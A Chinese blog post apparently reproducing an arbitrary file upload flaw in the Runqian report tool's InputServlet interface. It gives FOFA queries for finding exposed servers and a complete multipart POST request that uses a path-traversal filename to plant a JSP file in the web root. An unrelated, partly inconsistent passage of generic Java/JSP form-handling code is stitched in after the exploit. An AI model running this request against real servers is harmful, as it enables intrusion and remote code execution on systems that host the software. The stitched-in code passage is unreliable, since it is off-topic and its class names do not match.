润乾报表前台InputServlet接口任意文件上传漏洞复现 [附POC]

润乾报表前台InputServlet接口任意文件上传漏洞复现 [附POC]

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

润乾报表是一个纯JAVA的企业级报表工具,支持对J2EE系统的嵌入式部署,无缝集成。服务器端支持各种常见的操作系统,支持各种常见的关系数据库和各类J2 EE的应用服务器,客户端采用标准纯html方式展现,支持ie和netscape, 润乾报表是领先的企业级报表分析软件。其润乾报表前台InputServlet接口存在任意文件上传漏洞。

0x03 影响版本

润乾报表

0x04 漏洞环境

FOFA语法: body=“润乾报表” || body=“/raqsoft”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC (POST)

POST /InputServlet?action=12 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 241
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="upsize"

1024
--00content0boundary00
Content-Disposition: form-data; name="file"; filename="/\..\\..\\..\123.jsp"
Content-Type: image/jpeg

123321
--00content0boundary00--

3.复现

在这里插入图片描述访问文件上传地址:/123.jsp
在这里插入图片描述

首先,我们需要创建一个名为`UserName.java`的用户实体类,它通常是一个简单的Java类,包含用户的姓名属性和其他可能需要的数据字段: ```java // UserName.java import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; @Entity public class UserName { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; private String name; // getters and setters public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } // constructor and toString method for better representation public UserName(String name) { this.name = name; } } ``` 接下来,用户会在`formin.jsp`表单页面上输入他们的信息: ```jsp <!-- formin.jsp --> <form action="inputServlet" method="post"> <label for="name">用户名:</label> <input type="text" id="name" name="username" value="" required><br> <!-- other form fields... --> <input type="submit" value="提交"> </form> ``` 当用户点击提交按钮时,表单数据会被发送到`inputServlet`。在这个Servlet中,我们将使用JavaBean(这里我们假设已经导入了UserModel包下的UserName类)来处理并存储这些信息: ```java // inputServlet.java (部分代码) import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.annotation.WebServlet; @WebServlet("/inputServlet") public class InputServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); User user = new UserName(username); // Assuming you have a UserService or similar to store the user object userService.saveUser(user); request.getRequestDispatcher("formout.jsp").forward(request, response); } } ``` 然后,`formout.jsp`会显示保存的表单信息,并通过EL表达式获取JavaBean的属性: ```jsp <!-- formout.jsp --> <%@ page contentType="text/html;charset=UTF-8"%> <html> <body> <%@ include file="header.jsp" %> <h2>User Information:</h2> <p>用户名: ${user.name}</p> <!-- display any additional attributes as needed --> <p>Email: ${user.email} (假设email也是一个属性)</p> </body> </html> ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gaynell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值